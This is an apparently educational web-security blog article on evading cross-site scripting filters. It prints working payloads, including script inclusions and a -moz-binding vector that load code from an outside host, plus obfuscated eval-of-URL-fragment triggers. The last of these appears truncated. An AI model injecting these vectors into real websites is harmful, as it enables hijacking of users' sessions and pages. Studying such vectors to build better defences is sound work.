So what is the attacker able to do when he/she breaks out the markup, and injects new tags and attributes? When new tags can be injected the site is considered owned – even if there are filters that block script tags and iframes. It is interesting to look at the attributes. Depending on the browser – we’re talking about the two major ones in this article – there are several ways to inject attributes that will fire JavaScript without requiring user interaction. If the attacker breaks out a tag which points to binary contents, like a link tag, an img tag or even an iframe, embed or object we can use the onerror handler and provide a crippled source attribute. Once the browser tries to load a source like xxx it will fail and fire the event – for which we already injected a handler (javascript function call). On the other hand, we can utilize the style tag to create XSS without user interaction. Both gecko based browsers and all important IE versions ship proprietary selectors and methods to execute JavaScript within a style tag or attribute – just to name a few, we have: -moz-binding and expression(). In order to exploit these situations the attacker has to inject more code. I’ve seen several websites where developers seemed to know that and had implemented filters that stripped a bunch of special chars – sometimes dot and brackets, sometimes other stuff – to avoid the injection of active code. Unfortunately, there’s a way to circumvent all of them.

Circumvent the ignorance

One of the most common filters – never understood why – is the stripping of the pattern http://. It seems thousands of developers out there believe that without this string it’s not possible to get an external inclusion running and furthermore without an external inclusion you can’t do much bad stuff on the targeted application. This is not true. It has been moths ago since I’ve published a miniaturized vector for script inclusions – 20 characters of length which does not have the http:// string. The cross browser version is 27 characters in length. Same goes for filtering the dot, brackets, spaces etc. Here is an example:

<script src=//h4k.in

Some filters transform all user input to uppercase letters – which is more useless than stripping http:// string. A major portal about a server side programming languages once suffered from a bad filter which stripped out all event handlers beginning with on\w+ and style. This is good example. Plain stripping will never make sense – the filter was easily circumvented by the following:

sstyle="foobar"tstyle="foobar"ystyle="foobar"lstyle="foobar"estyle="foobar"=-moz-binding:url(http://h4k.in/mozxssc.xml#xss)>foo

But it’s even getting better. Some weeks ago a pretty new and very intelligent kind of filter evading vectors came to light – these vectors were capable of carrying large payloads in totally stealth mode. These vectors does not require externally hosted scripts to perform the task. This is the reason why they are called self contained XSS.

CSO’s nightmare

Self contained XSS is mostly based on the fact, that it’s possible to pass values via URL, that are seen by the client only, but not by the server. Those values are called fragment identifiers. Everything passed behind the URL hash (#) is only visible to the client which includes the JavaScript runtime engine. So, the attacker just needs to inject a code snippet that evaluates the contents of this part of the URL – which is mostly very short and contains no information of what the real payload consists of. Due to the very dynamic nature of JavaScript it is possible to create myriads of variants of those payload triggers and in combination with browser peculiarities the possibilities of creating these triggers become uncountable. Here is an exmaple

eval.call(this,unescape.call(this,location))

code:_=eval,__=unescape,___=document.URL,_(__(___)) code:with(location)with(hash)eval(substring(1))

Of course, it’s also possible to rip these functions apart, shuffle their fragments and compose them back together at the end like this:

l=0||'str',m= 0||'sub',x= 0||'al',y= 0||'ev',g= 0||'tion.h',f= 0 ||'ash',k= 0||'loca',d=(k)+(g)+(f),a

Conclusion and credits

So – why are we showing all those vectors and talking about all the possibilities to hide, obfuscate possible attacks and evade filter mechanisms? To prove a point, I must say! Once the attacker breaks the markup he/she becomes in charge of that content – whether there’s a filter between the application and the user or not. There’s no way of finding a perfect balance between effective filtering and not crippling the user’s experience. To make it short – the PMBP must never happen. In order to make this article a dirty cliffhanger – in the next part we will talk about how to avoid this exact phase. We’ll learn how to make sure the user won’t be annoyed by your filter and still guaranteeing stalwart security too. Credits for the shown vectors go the author, the PHPIDS Group, Giorgio Maone, Kishor, Martin Hinks, Christian Matthies, sirdarckcat and the guys from sla.ckers.org.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores